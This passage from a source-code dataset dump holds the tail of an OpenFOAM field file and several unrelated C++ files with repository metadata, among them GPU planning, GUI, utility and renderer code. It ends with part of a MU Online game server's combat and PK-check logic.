0.0201603
0.0200985
0.0201409
0.0200811
0.0201263
0.0200672
0.0201147
0.0201624
0.0201016
0.0200438
0.019989
0.0199482
0.0200008
0.0200562
0.0200112
0.019958
0.0199077
0.0198712
0.0199199
0.0199704
0.0200238
0.0199854
0.0200418
0.0200017
0.0200562
0.0201158
0.0199479
0.0198993
0.0199351
0.0198855
0.0198397
0.0198077
0.0198511
0.0197652
0.0197951
0.0198258
0.0198603
0.0198985
0.0199371
0.0199739
0.0200085
0.020041
0.0200711
0.0200977
0.0201196
0.0201349
0.0201423
0.0201416
0.0201343
0.0201223
0.0200492
0.0200333
0.0199624
0.0198946
0.0199119
0.0199791
0.0199934
0.0200624
0.0200717
0.0200749
0.02001
0.0200044
0.0199397
0.0199272
0.0198638
0.0198477
0.0198297
0.0197677
0.0197084
0.0196518
0.0196715
0.0197275
0.0197862
0.0198032
0.0197452
0.0196899
0.0196372
0.0196182
0.0195978
0.0195755
0.0195512
0.0195246
0.0194956
0.0194418
0.0193903
0.0193411
0.0193715
0.0194202
0.0194712
0.0194984
0.019448
0.0194
0.0193533
0.0193241
0.019293
0.0192442
0.0192014
0.0192579
0.0192917
0.0192339
0.019276
0.0193059
0.0192647
0.0193238
0.0193541
0.0192937
0.0193339
0.0193804
0.0194264
0.0194737
0.0195234
0.0195463
0.0194973
0.0194508
0.0194735
0.0195192
0.0195674
0.0195871
0.0195396
0.0194948
0.0194515
0.0194293
0.0194057
0.0193602
0.019321
0.0193826
0.0194095
0.0193465
0.0193847
0.0194078
0.0193706
0.019435
0.0199114
0.0198836
0.0198544
0.0198235
0.0197908
0.0197564
0.0197204
0.0196827
0.0196435
0.0196028
0.0195606
0.0195171
0.0194723
0.0194263
0.0193792
0.0207156
0.0207667
0.0208168
0.0208658
0.0209136
0.02096
0.0210051
0.0210488
0.0210909
0.0211314
0.0211702
0.0212073
0.0212425
0.0212761
0.021308
0.0213387
0.019938
0.0194593
0.0193936
0.0194298
0.0194725
0.019515
0.019559
0.0196057
0.019655
0.0197068
0.0197612
0.0198181
0.0198777
0.0198875
0.0199476
0.0199486
0.0200083
0.0200703
0.0200578
0.0199986
0.0199418
0.0198874
0.0198913
0.0198362
0.0198299
0.0197746
0.0197216
0.0197325
0.0197833
0.0197852
0.0198352
0.0198265
0.0198759
0.0199276
0.0199817
0.0200384
0.0200139
0.0199594
0.0199076
0.0198837
0.0199335
0.0199859
0.0199554
0.0199049
0.0198571
0.0198119
0.0198365
0.0198583
0.0198114
0.0197669
0.0197794
0.0197345
0.0197373
0.0196915
0.019684
0.0196711
0.019623
0.0195773
0.0195342
0.0195519
0.0195936
0.0196377
0.0196477
0.019606
0.0195665
0.0195283
0.0195118
0.0194928
0.019451
0.0194158
0.0194828
0.0195057
0.0194373
0.0194713
0.0194896
0.0194573
0.0195274
0.0195465
0.0194741
0.019504
0.0195401
0.0195756
0.0196122
0.0196509
0.0196917
0.0196846
0.0197246
0.0197095
0.0197494
0.0197917
0.0197692
0.0197289
0.019691
0.0196554
0.0196719
0.0196365
0.0196468
0.0196111
0.0195775
0.0195726
0.0196034
0.0195913
0.0196222
0.0196056
0.0196368
0.0196704
0.0197063
0.0197446
0.0197853
0.0198285
0.0198743
0.0199227
0.019888
0.0198417
0.019798
0.019766
0.0198075
0.0198516
0.0198155
0.0197735
0.0197342
0.0196975
0.0197271
0.0197569
0.0197183
0.0196822
0.0196484
0.0196252
0.0196568
0.0196907
0.0196633
0.0196316
0.0196023
0.0195814
0.0196087
0.0196385
0.0196708
0.0197056
0.019743
0.019783
0.0197552
0.0197159
0.0196812
0.0196569
0.0196898
0.0197272
0.0196247
0.0196471
0.0196175
0.019589
0.0195629
0.0195459
0.0195701
0.0195969
0.0195255
0.0195407
0.0195565
0.0195753
0.019596
0.0196169
0.0195877
0.0195609
0.0195767
0.0195503
0.0195628
0.0195363
0.0195431
0.0195452
0.0195121
0.0194857
0.0195612
0.0195706
0.0194904
0.0195136
0.0195088
0.0194907
0.0195764
0.0195848
0.01949
0.0195015
0.0195263
0.0195144
0.0195364
0.0195223
0.0195444
0.019569
0.0195506
0.0195282
0.0195082
0.0194921
0.0195028
0.0194892
0.019495
0.0194908
0.0196024
0.0196328
0.0194965
0.0195074
0.019485
0.0194831
0.0194831
0.0194955
0.0195131
0.0195333
0.0195189
0.0194993
0.0194842
0.0194734
0.0194879
0.0195058
0.0194668
0.0194759
0.0194855
0.0195528
0.019524
0.0197233
0.0196734
0.0202926
0.0202154
0.020152
0.0201103
0.0200864
0.0200708
0.0200556
0.0200364
0.0200133
0.0199887
0.0199637
0.0213684
0.0213975
0.0214257
0.0214537
0.0214803
0.0215063
0.0215379
0.0215859
0.0216528
0.0217337
0.021803
0.0218518
0.0203758
0.0204824
0.0197906
0.0198631
0.0195964
0.0194861
0.0206583
0.0219306
0.0218934
0.163258
0.0656736
0.03872
0.162285
0.095645
0.125438
0.125096
0.0617335
0.126985
0.129807
0.107745
0.142636
0.143356
0.106581
0.109061
0.115225
0.116759
0.153702
0.0622666
0.109191
0.123226
0.163106
0.171445
0.144926
0.136862
0.126413
0.165178
0.154354
0.146566
0.135417
0.175316
0.227613
0.121457
0.203454
0.111312
0.266272
0.121335
0.224415
0.291856
0.246585
0.311104
0.24122
0.223439
0.210008
0.126254
0.276504
0.136233
0.0397441
0.0451715
0.0511207
0.0535267
0.0471687
0.0415787
0.0491901
0.0479225
0.0555421
0.0593267
0.0536773
0.0481699
0.0250331
0.0665173
0.0272905
0.0260917
0.0253658
0.0249579
0.0247561
0.0246797
0.0246793
0.0247143
0.0247705
0.0248326
0.0248937
0.0249538
0.0250157
0.0250786
0.0251422
0.025207
0.025273
0.0253399
0.0254077
0.0254761
0.025545
0.025615
0.0256846
0.0257541
0.0258237
0.0258929
0.0259619
0.0260303
0.0260981
0.0261639
0.0262301
0.026296
0.0263602
0.0264224
0.026484
0.0265457
0.0266045
0.0266617
0.0267172
0.0267709
0.0268227
0.0268719
0.0269199
0.0269661
0.0270108
0.0270544
0.0270972
0.0271399
0.0271816
0.0272235
0.0272812
0.0273485
0.0274688
0.027552
0.0276118
0.0274449
0.0272569
0.0275288
)
;
boundaryField
{
bottomEmptyFaces
{
type empty;
}
topEmptyFaces
{
type empty;
}
inlet
{
type zeroGradient;
}
outlet
{
type zeroGradient;
}
walls
{
type zeroGradient;
}
rightWall
{
type zeroGradient;
}
symmetryLine
{
type symmetryPlane;
}
}
// ************************************************************************* //
|
|
098f90b55e1f2820ed4d913b6d067e9648b68c37
|
16ee279136e5459299638edcd4a3a560e989bd30
|
/src/gpu_planning/trajectory.hpp
|
cdb64914b9145ed1759696703076f193e78be9c6
|
[] |
no_license
|
RobertWilbrandt/gpu_planning
|
57ccc18a45aedb3b9288a6f15cf05385c9015d2f
|
de0a75d758b179c0af9cd883fff33ae0a6aa32f0
|
refs/heads/main
| 2023-05-12T18:00:42.970189
| 2021-06-06T11:11:15
| 2021-06-06T11:11:15
| 358,898,035
| 3
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 463
|
hpp
|
trajectory.hpp
|
#pragma once
#include "cuda_runtime_api.h"
#include "robot.hpp"
namespace gpu_planning {
struct TrajectorySegment {
__host__ __device__ TrajectorySegment();
__host__ __device__ TrajectorySegment(const Configuration& start,
const Configuration& end);
__host__ __device__ Configuration interpolate(float a) const;
Configuration start;
Configuration end;
};
struct Trajectory {};
} // namespace gpu_planning
|
55b38e268fcf55fd58bca2a7fc8e4bfa4ca71462
|
e356639afb1c14a8b77e092d45e2b94e79a4e051
|
/handlers/TableDownArrowClickHandler.cpp
|
bacf6bbc3bfdcdf23f35a6f979d70a741784d89b
|
[] |
no_license
|
darkjedi9922/listpad
|
83a60785b7dd7081c2ce92c77c1a77deb5c110a2
|
e852457e9ad85d83fccc067b465f8cacb620300f
|
refs/heads/master
| 2022-01-07T18:18:09.167156
| 2019-06-04T17:56:06
| 2019-06-04T18:04:39
| 171,429,990
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 965
|
cpp
|
TableDownArrowClickHandler.cpp
|
#include "TableDownArrowClickHandler.h"
#include "Table.h"
TableDownArrowClickHandler::TableDownArrowClickHandler(Table *table):
table(table)
{}
void TableDownArrowClickHandler::handle()
{
if (table->getCheckedRow() == -1) checkFirstRow();
else checkNextRow();
}
void TableDownArrowClickHandler::checkFirstRow()
{
// 0 ряд - заголовок таблицы
if (table->getVisibleRowCount() > 1) {
int firstVisibleRow = findNextVisibleRow(1);
table->checkRow(firstVisibleRow);
}
}
void TableDownArrowClickHandler::checkNextRow()
{
int checkedRow = table->getCheckedRow();
int nextRow = findNextVisibleRow(checkedRow + 1);
if (nextRow == -1) return;
table->checkRow(nextRow);
}
int TableDownArrowClickHandler::findNextVisibleRow(int fromRow) const
{
if (fromRow >= table->getRowCount()) return -1;
if (table->isRowVisible(fromRow)) return fromRow;
return findNextVisibleRow(fromRow + 1);
}
|
9f4181b92a95948e0a7f057bf753c32559f2e26e
|
9e71afd5bef444741bef62e5dc62245095c171c6
|
/Sources/Utils/IdPool.h
|
5a291f91bd251620d0c573fdbfb0f34c65296ac3
|
[] |
no_license
|
wbach/OpenGL_Engine
|
f243f5e5c854278660d077593f764f18bb7949c1
|
b88cf1da8d57b4737544e6acdf4a5e1bfbbf4613
|
refs/heads/master
| 2023-02-23T08:40:26.120920
| 2023-02-18T16:48:24
| 2023-02-18T16:48:24
| 91,100,184
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 429
|
h
|
IdPool.h
|
#pragma once
#include <list>
#include <optional>
#include "Types.h"
namespace Utils
{
class IdPool
{
public:
IdPool(IdType startupValue = 0);
IdType getId(const std::optional<IdType>& = std::nullopt);
void releaseId(IdType);
void clear();
void clear(IdType);
private:
IdType getNextId();
private:
IdType counter_;
IdType startupValue_;
std::list<IdType> freeIds_;
};
} // namespace Utils
|
0692e8e028d4faa4d49fa873ba54282bc95be02c
|
7aea5c7d4345adecdcfdeb87d757a2808519ec46
|
/JS-VEMCUCtl_20140409/SDDElecMap/include/dialog/NewYC_PROP_INFO.h
|
e1b018697fcefa9198e24177cfcc7bdd7834daab
|
[] |
no_license
|
wpmyj/MonitorSystem
|
105657d0c4aeb4eb677d8dc760143eb45805e718
|
f5c49c61f30676b3c5ff07c39fa043cc0dee31b4
|
refs/heads/master
| 2021-01-21T14:32:53.419350
| 2016-02-01T09:27:28
| 2016-02-01T09:27:28
| null | 0
| 0
| null | null | null | null |
GB18030
|
C++
| false
| false
| 1,270
|
h
|
NewYC_PROP_INFO.h
|
#pragma once
#include "../../resource.h"
#include "canvas/lineprop.h"
// CNewYC_PROP_INFO 对话框
typedef BOOL _stdcall ShowFindDotDlg(int kind,char * ename,char * cname);
class CNewYC_PROP_INFO : public CPropertyPage
{
DECLARE_DYNAMIC(CNewYC_PROP_INFO)
public:
CNewYC_PROP_INFO(BYTE kind=1);
virtual ~CNewYC_PROP_INFO();
public:
CRTUColorStatic m_hintc;
CRTUColorStatic m_unitc;
COLORREF hintcolor;//提示颜色;
COLORREF unitcolor;//单位颜色
BYTE hintenable;
BYTE itkind;
void GetPara(char * ename,int *digitlength,char * hint,char * unit,
COLORREF *unitc,COLORREF *hintc,BYTE * hintena,float *hintjj,float *unitjj ,
float* UUp ,float* DDown);
void SetPara(char * ename,int digitlength,char * hint,char * unit,
COLORREF unitc,COLORREF hintc,BYTE hintena,float hintjj,float unitjj ,
float UUp ,float DDown);
// 对话框数据
enum { IDD = CZ_IDD_NEW_YC_INFO };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CString m_ename;
CString m_unit;
int m_digitlength;
CString m_hint;
float m_edithintdis;
float m_editunitdis;
float m_fUUp;
float m_fDDown;
afx_msg void OnBnClickedButton1();
virtual BOOL OnInitDialog();
virtual void OnOK();
};
|
0fb57ef59e2d8c4908fc20c57da2effe71746ec1
|
d995d72abfa8f90dd761e14c0b4dc949697b36fa
|
/Exception.hpp
|
09c6c251c0d2c7a56487006e820938b304e27906
|
[] |
no_license
|
Squp/TP_LR2
|
c57b065f921ea0442c136ed2247f130b488e2889
|
3e4d2f00f6f0cc5762bbf8d1ed0308e5099e9ae8
|
refs/heads/master
| 2020-04-12T05:51:10.232573
| 2018-12-18T19:47:41
| 2018-12-18T19:47:41
| 162,333,998
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 246
|
hpp
|
Exception.hpp
|
#pragma once
#include <string>
//класс исключений
class Exception{
private:
std::string message;
public:
explicit Exception(const char *message = ""):message(message){}
const char* Message() const{ return message.c_str(); }
};
|
0249238e668ef73e51f2b175619ee2df2511cf64
|
b273f401357946200d2531dfa976ebd3a97e8580
|
/Regex/main.cpp
|
0950d5a03e4a47ccf009bc74ddb455952cdd1f7b
|
[] |
no_license
|
anotherub/cprograms
|
46e2d8173d55f87dbb2b275efe30ac538e725d47
|
d3ad9c9ba7808c34d440361e6811e57337b7619a
|
refs/heads/master
| 2023-06-10T22:32:54.769038
| 2018-06-21T11:27:35
| 2018-06-21T11:27:35
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 217
|
cpp
|
main.cpp
|
#include <iostream>
#include<regex>
using namespace std;
int main()
{
string a="umeshbhat";
string c="^umesh$";
regex b(c);
if(regex_match(a,b))cout<<"found";
else cout<<"error";
return 0;
}
|
a7cafd16cc914615fbf0180e31446c848048830b
|
641808b5eb0d58fa9806de0fc4ecda1211d6eaa0
|
/ABC120/A-Favorite_Sound.cpp
|
1016388d9d9bb746e22b71b66980967358e1711c
|
[] |
no_license
|
tom-uchida/Competitive_Programming
|
7d2154299e59cda8e39a1b666da73bbddeb545d3
|
f13857f57ad7bbfee598f1c999998662cfa97085
|
refs/heads/master
| 2022-07-27T17:03:10.995625
| 2020-05-17T15:28:53
| 2020-05-17T15:28:53
| 240,295,115
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 217
|
cpp
|
A-Favorite_Sound.cpp
|
// https://atcoder.jp/contests/abc120/tasks/abc120_a
#include <iostream>
#include <algorithm>
using namespace std;
int main() {
int a, b, c; cin >> a >> b >> c;
cout << min(b/a, c) << endl;
return 0;
}
|
76516c7b4f0f12899c98d68c64db35d93dd7d42f
|
107d79f2c1802a3ff66d300d5d1ab2d413bac375
|
/src/eepp/graphics/renderer/rendererhelper.hpp
|
809633f098462c831e8d67570a1ddce64f64df85
|
[
"MIT"
] |
permissive
|
weimingtom/eepp
|
2030ab0b2a6231358f8433304f90611499b6461e
|
dd672ff0e108ae1e08449ca918dc144018fb4ba4
|
refs/heads/master
| 2021-01-10T01:36:39.879179
| 2014-06-02T02:46:33
| 2014-06-02T02:46:33
| 46,509,734
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 767
|
hpp
|
rendererhelper.hpp
|
#ifndef EE_GRAPHICS_PRIVATE_RENDERERHELPER_HPP
#define EE_GRAPHICS_PRIVATE_RENDERERHELPER_HPP
#include <eepp/graphics/renderer/base.hpp>
#ifdef EE_GL3_ENABLED
#include <stack>
#include <eepp/helper/glm/gtx/transform.hpp>
namespace EE { namespace Graphics { namespace Private {
static void fromGLMmat4( glm::mat4 from, GLfloat * to ) {
memcpy( to, &from[0][0], sizeof(glm::mat4) );
}
static glm::mat4 toGLMmat4( const GLfloat * m ) {
glm::mat4 Result;
memcpy( &Result[0][0], m, sizeof(glm::mat4));
return Result;
}
class cMatrixStack
{
public:
std::stack<glm::mat4> mProjectionMatrix; // cpu-side
std::stack<glm::mat4> mModelViewMatrix; // cpu-side
std::stack<glm::mat4>* mCurMatrix;
};
}}}
using namespace EE::Graphics::Private;
#endif
#endif
|
917d91ffa041d8f917d16023f215e0f0bf1baf48
|
9c0cc19e1e06fb3ec79d1635179bc4c45a65f25c
|
/src/rdx/rdx_varying.cpp
|
b45c6adbecc9c783ab879c5cb36de81f43c0fa01
|
[
"MIT"
] |
permissive
|
elasota/rdx2
|
616b0149b3b0f4a5211b0448c6fa21af6fe06447
|
e08ca09a07d3ac8675f7f950a7bdf838a9f5f907
|
refs/heads/master
| 2016-09-05T20:40:10.810218
| 2015-05-10T03:30:04
| 2015-05-10T03:30:04
| 35,354,903
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 286
|
cpp
|
rdx_varying.cpp
|
#include "rdx_varying.hpp"
void rdxSVarying::VisitReferences(rdxIObjectManager *objm, rdxIObjectReferenceVisitor *visitor, bool visitNonSerializable)
{
if(visitNonSerializable)
{
visitor->VisitReference(objm, this->rtp);
visitor->VisitReference(objm, this->type);
}
}
|
0ba4b81c9f4c0caa73369973553053beeb5664d4
|
710f7d2951c7af722d8e8ea896c5e6733e155860
|
/zGameServer_X/GameServer/ObjBaseAttack.cpp
|
a2ab2dfa722813c3c8f7c758f3dcbe5c3dae45ff
|
[] |
no_license
|
lnsurgent/X-MU_Community_Server
|
5cda542a5cbd6d73ade156ca8354eeab2909da91
|
e576e30a0222789b2d02506569e5b435dd696e2f
|
refs/heads/master
| 2016-09-06T07:50:10.870481
| 2016-02-11T06:56:20
| 2016-02-11T06:56:20
| 29,187,243
| 12
| 8
| null | 2015-01-18T15:23:14
| 2015-01-13T11:40:29
|
C++
|
UTF-8
|
C++
| false
| false
| 24,996
|
cpp
|
ObjBaseAttack.cpp
|
#include "stdafx.h"
#include "ObjBaseAttack.h"
#include "GameMain.h"
#include "LogProc.h"
#include "DevilSquare.h"
#include "BloodCastle.h"
#include "ChaosCastle.h"
#include "CrywolfAltar.h"
#include "CrywolfStatue.h"
#include "IllusionTempleEvent.h"
#include "MasterLevelSystem.h"
#include "BuffEffectSlot.h"
#include "MasterLevelSkillTreeSystem.h"
#include "ItemAddOption.h"
#ifdef __CUSTOMS__
#include "ClassCalc.h"
#endif
// -------------------------------------------------------------------------------
CObjBaseAttack::CObjBaseAttack()
{
}
// -------------------------------------------------------------------------------
CObjBaseAttack::~CObjBaseAttack()
{
}
// -------------------------------------------------------------------------------
//0051d8a0 -> Checked
BOOL CObjBaseAttack::DecreaseArrow(LPOBJ lpObj)
{
if (lpObj->Class == CLASS_ELF && lpObj->Type == OBJ_USER )
{
CItem * Right = &lpObj->pInventory[0];
CItem * Left = &lpObj->pInventory[1];
if ( (Right->m_Type >= ITEMGET(4,8) && Right->m_Type <= ITEMGET(4,14)) ||
Right->m_Type == ITEMGET(4,16) || Right->m_Type == ITEMGET(4,18) ||
Right->m_Type == ITEMGET(4,19) )
{
if ( Left->m_Type == ITEMGET(4,7) )
{
if ( Left->m_Durability < 1.0f )
{
return FALSE;
}
Left->m_Durability -= 1.0f;
GCItemDurSend(lpObj->m_Index, 1, Left->m_Durability, 0);
if ( Left->m_Durability < 1.0f )
{
lpObj->pInventory[1].Clear();
GCInventoryItemDeleteSend(lpObj->m_Index, 1, 0);
}
}
else
{
return FALSE;
}
}
else if ( (Left->m_Type >= ITEMGET(4,0) && Left->m_Type <= ITEMGET(4,6) ) ||
Left->m_Type == ITEMGET(4,17) ||
Left->m_Type == ITEMGET(4,20) ||
Left->m_Type == ITEMGET(4,21) ||
Left->m_Type == ITEMGET(4,22) ||
Left->m_Type == ITEMGET(4,23) ||
Left->m_Type == ITEMGET(4,24)) //season4.6 add-on
{
if ( Right->m_Type == ITEMGET(4,15) )
{
if ( Right->m_Durability < 1.0f )
{
return FALSE;
}
Right->m_Durability -= 1.0f;
GCItemDurSend(lpObj->m_Index, 0, Right->m_Durability, 0);
if ( Right->m_Durability < 1.0f )
{
lpObj->pInventory[0].Clear();
GCInventoryItemDeleteSend(lpObj->m_Index, 0, 0);
}
}
else
{
return FALSE;
}
}
}
return TRUE;
}
// -------------------------------------------------------------------------------
//0051db90 -> Checked
BOOL CObjBaseAttack::CheckAttackArea(LPOBJ lpObj, LPOBJ lpTargetObj) //Identical gs-cs 56
{
if ( lpTargetObj->Type == OBJ_USER || lpTargetObj->m_RecallMon >= 0 )
{
BYTE attr = MapC[lpTargetObj->MapNumber].GetAttr(lpTargetObj->X, lpTargetObj->Y);
//#if (__ONLYMU__ == 1)
if ( (attr&1) == 1 && lpObj->Type != OBJ_MONSTER )
{
return FALSE;
}
//#else
//if ( (attr&1) == 1 )
//{
// return FALSE;
//}
//#endif
}
if ( lpObj->Type == OBJ_USER )
{
int iRet = gObjCheckAttackArea(lpObj->m_Index, lpTargetObj->m_Index);
if ( iRet != 0 )
{
//LogAddC(2, "[DEBUG] Point 3");
//LogAddTD("[%s][%s] Try Attack In Not Attack Area (%s,%d,%d) errortype = %d",
/// lpObj->AccountID, lpObj->Name, lMsg.Get(MSGGET(7, 208) + lpObj->MapNumber),
// lpObj->X, lpObj->Y, iRet);
if ( bIsIgnorePacketSpeedHackDetect != FALSE )
{
return FALSE;
}
}
}
return TRUE;
}
// -------------------------------------------------------------------------------
//0051dcd0 ->
BOOL CObjBaseAttack::PkCheck(LPOBJ lpObj, LPOBJ lpTargetObj)
{
if ( gLanguage == 0 || gLanguage == 2 || gLanguage == 4)
{
if ( lpObj->Type == OBJ_USER )
{
BOOL bPlayerKiller = FALSE; //Season 2.5 add-on
if(lpObj->PartyNumber >= 0) //Season 2.5 add-on
{
if(gParty.GetPKPartyPenalty(lpObj->PartyNumber) >= 6)
{
bPlayerKiller = TRUE;
}
}
else if(lpObj->m_PK_Level >= 6)
{
bPlayerKiller = TRUE;
}
if(bPlayerKiller == TRUE) //Season 2.5 add-on
{
if (lpObj->PartyNumber >= 0 )
{
if ( gPkLimitFree == FALSE )
{
return FALSE;
}
}
else if ( lpObj->m_PK_Count >= 3 )
{
if ( gPkLimitFree == FALSE )
{
return FALSE;
}
}
}
}
}
if ( lpObj->Type == OBJ_USER && lpTargetObj->Type == OBJ_USER)
{
if ( lpTargetObj->Level <= 5 || lpObj->Level <= 5 )
{
return FALSE;
}
if ( gObjGetRelationShip(lpObj, lpTargetObj) == 2 ) // Rivals
{
if ( gNonPK == FALSE )
{
return TRUE;
}
}
if ( lpObj->lpGuild != NULL && lpTargetObj->lpGuild != NULL )
{
if ( lpObj->lpGuild->WarState == 1 && lpTargetObj->lpGuild->WarState == 1 )
{
if ( lpObj->lpGuild->Number == lpTargetObj->lpGuild->Number )
{
return FALSE;
}
}
}
if ( gObjTargetGuildWarCheck(lpObj, lpTargetObj) == FALSE && lpTargetObj->lpGuild != NULL && lpTargetObj->lpGuild->WarState != 0)
{
if ( lpTargetObj->lpGuild->WarType == 1 )
{
if ( lpTargetObj->MapNumber != 6 )
{
if ( !gNonPK )
{
return TRUE;
}
}
}
if ( CC_MAP_RANGE(lpTargetObj->MapNumber) == FALSE )
{
return FALSE;
}
}
if ( IT_MAP_RANGE(lpObj->MapNumber) != FALSE ) //season2.5 add-on
{
//
}
else if ( CC_MAP_RANGE(lpObj->MapNumber) != FALSE )
{
if ( g_ChaosCastle.GetCurrentState(g_ChaosCastle.GetChaosCastleIndex(lpObj->MapNumber)) != 2 )
{
return FALSE;
}
}
else if ( gNonPK != FALSE )
{
return FALSE;
}
if ( DS_MAP_RANGE(lpObj->MapNumber) ) // DEvil
{
return FALSE;
}
if ( BC_MAP_RANGE(lpObj->MapNumber) )
{
return FALSE;
}
if ( gObjDuelCheck(lpObj, lpTargetObj) == FALSE )
{
if ( gObjDuelCheck(lpTargetObj) )
{
return FALSE;
}
}
if ( gLanguage == 0 || gLanguage == 2 )
{
BOOL bPlayerKiller = FALSE; //Season 2.5 add-on
if(lpObj->PartyNumber >= 0) //Season 2.5 add-on
{
if(gParty.GetPKPartyPenalty(lpObj->PartyNumber) >= 6)
{
bPlayerKiller = TRUE;
}
}
else if(lpObj->m_PK_Level >= 6)
{
bPlayerKiller = TRUE;
}
if(bPlayerKiller == TRUE) //Season 2.5 add-on
{
if (lpObj->PartyNumber >= 0 )
{
if ( gPkLimitFree == FALSE )
{
return FALSE;
}
}
else if ( lpObj->m_PK_Count >= 3 )
{
if ( gPkLimitFree == FALSE )
{
return FALSE;
}
}
}
bPlayerKiller = FALSE; //Season 2.5 add-on
if(lpTargetObj->PartyNumber >= 0) //Season 2.5 add-on
{
if(gParty.GetPKPartyPenalty(lpTargetObj->PartyNumber) >= 6)
{
bPlayerKiller = TRUE;
}
}
else if(lpTargetObj->m_PK_Level >= 6)
{
bPlayerKiller = TRUE;
}
if(bPlayerKiller == 1) //Season 2.5 add-on
{
if (lpTargetObj->PartyNumber >= 0 )
{
if ( gPkLimitFree == FALSE )
{
if(g_CastleSiege.GetCastleState() != CASTLESIEGE_STATE_STARTSIEGE)
{
return FALSE;
}
}
}
else if ( lpTargetObj->m_PK_Count >= 3 )
{
if ( gPkLimitFree == FALSE )
{
if(g_CastleSiege.GetCastleState() != CASTLESIEGE_STATE_STARTSIEGE)
{
return FALSE;
}
}
}
}
}
}
return TRUE;
}
// -------------------------------------------------------------------------------
//
BOOL CObjBaseAttack::ResistanceCheck(LPOBJ lpObj, LPOBJ lpTargetObj, int skill)
{
//missing objects? maybe from _CS side or deleted in 1.01.00
if( lpTargetObj->Type != OBJ_USER)
{
if(lpTargetObj->Class == 277 || lpTargetObj->Class == 283 || lpTargetObj->Class == 288 || lpTargetObj->Class == 278 || lpTargetObj->Class == 215 || lpTargetObj->Class == 216 || lpTargetObj->Class == 217 || lpTargetObj->Class == 218 || lpTargetObj->Class == 219)
{
return FALSE;
}
}
if( lpTargetObj->Type != OBJ_USER)
{
if( CRYWOLF_ALTAR_CLASS_RANGE(lpTargetObj->Class) != FALSE || CRYWOLF_STATUE_CHECK(lpTargetObj->Class) != FALSE ) //HermeX Fix @28/01/2010
{
return FALSE;
}
}
if ( skill == 62 )
{
gObjBackSpring2(lpTargetObj, lpObj, 3);
}
if(g_MasterSkillSystem.GetBaseMasterLevelSkill(skill) == 512) //Earth Quake Master
{
gObjBackSpring2(lpTargetObj, lpObj, 3);
}
if( skill == 516)
{
gObjBackSpring2(lpTargetObj, lpObj, 3);
}
if ( skill == 19
|| skill == 20
|| skill == 21
|| skill == 22
|| skill == 23
|| skill == 260
|| skill == 261
|| skill == 262
|| skill == 270
|| skill == 326
|| skill == 327
|| skill == 328
|| skill == 329
|| skill == 479 )
{
gObjAddMsgSendDelay(lpTargetObj, 2, lpObj->m_Index, 150, 0);
}
else if ( skill == 3 || skill == 379 || skill == 480 ) // Poison
{
if ( retResistance(lpTargetObj, 2) == 0 )
{
gObjAddMsgSendDelay(lpTargetObj, 2, lpObj->m_Index, 150, 0);
return TRUE;
}
return FALSE;
}
else if ( skill == 1 || skill == 384 )
{
if(gObjCheckUsedBuffEffect(lpObj, AT_POISON) == 0)
{
if ( retResistance(lpTargetObj, 1) == 0 )
{
lpTargetObj->lpAttackObj = lpObj;
gObjAddBuffEffect(lpTargetObj, AT_POISON, 19, 3, 0, 0, 20);
return TRUE;
}
else
{
return FALSE;
}
}
else
{
return FALSE;
}
}
else if ( skill == 38 || skill == 387 ) // Death Poison
{
if(gObjCheckUsedBuffEffect(lpTargetObj, AT_POISON) == 0)
{
if ( retResistance(lpTargetObj, 1) == 0 )
{
lpTargetObj->lpAttackObj = lpObj;
gObjAddBuffEffect(lpTargetObj, AT_POISON, 19, 3, 0, 0, 10);
return TRUE;
}
else
{
return FALSE;
}
}
else
{
return FALSE;
}
return TRUE;
}
else if ( skill == 7 || skill == 39 ||
g_MasterSkillSystem.GetBaseMasterLevelSkill(skill) == 450 || skill == 389 || skill == 489 ) //Season4 add-on
{
if(gObjCheckUsedBuffEffect(lpTargetObj, AT_ICE) == 0)
{
if ( retResistance(lpTargetObj, 0) == 0 )
{
lpTargetObj->lpAttackObj = lpObj;
lpTargetObj->DelayActionTime = 800;
lpTargetObj->DelayLevel = 1;
gObjAddBuffEffect(lpTargetObj, AT_ICE, 20, 0, 0, 0, 10);
}
else
{
return FALSE;
}
}
else
{
return FALSE;
}
}
else if ( skill == 51 || skill == 424 ) // Ice Arrow
{
if(gObjCheckUsedBuffEffect(lpTargetObj, AT_ICE_ARROW) == 0)
{
if ( retResistance(lpTargetObj, 0) == 0 )
{
gObjAddBuffEffect(lpTargetObj, AT_ICE_ARROW, 0, 0, 0, 0, 7);
lpTargetObj->PathCount = 0;
lpTargetObj->PathStartEnd = 0; //Season3 add-on
gObjSetPosition(lpTargetObj->m_Index, lpTargetObj->X, lpTargetObj->Y);
}
else
{
return FALSE;
}
}
else
{
return FALSE;
}
}
return TRUE;
}
// -------------------------------------------------------------------------------
//0051e940 -> Revised
BOOL CObjBaseAttack::MissCheck(LPOBJ lpObj, LPOBJ lpTargetObj, int skill, int skillSuccess, int magicsend, BOOL& bAllMiss, BYTE byBarrageCount)
{
__try
{
int SuccessAttackRate = 0; //ebp-20
int TargetSuccessfulBlocking = lpTargetObj->m_SuccessfulBlocking; //ebp-24
int MsgDamage = 0; //ebp-28
// ----
if( IT_MAP_RANGE(lpTargetObj->MapNumber) )
{
if( g_IllusionTempleEvent.GetIllusionTempleState(lpTargetObj->MapNumber) == 2 )
{
if( lpTargetObj->Type == OBJ_USER )
{
if( g_IllusionTempleEvent.CheckSkillProdection(lpTargetObj->m_iIllusionTempleIndex, lpTargetObj->MapNumber) )
{
GCDamageSend(lpObj->m_Index, lpTargetObj->m_Index, 0, 0, 0, 0);
return false;
}
}
// ----
if( lpObj->PartyNumber == lpTargetObj->PartyNumber )
{
GCDamageSend(lpObj->m_Index, lpTargetObj->m_Index, 0, 0, 0, 0);
return false;
}
}
}
// ----
if( lpObj->Type == OBJ_USER )
{
int iTotalLevel = lpObj->Level + lpObj->m_nMasterLevel;
// ----
if( lpObj->Class == CLASS_DARKLORD )
{
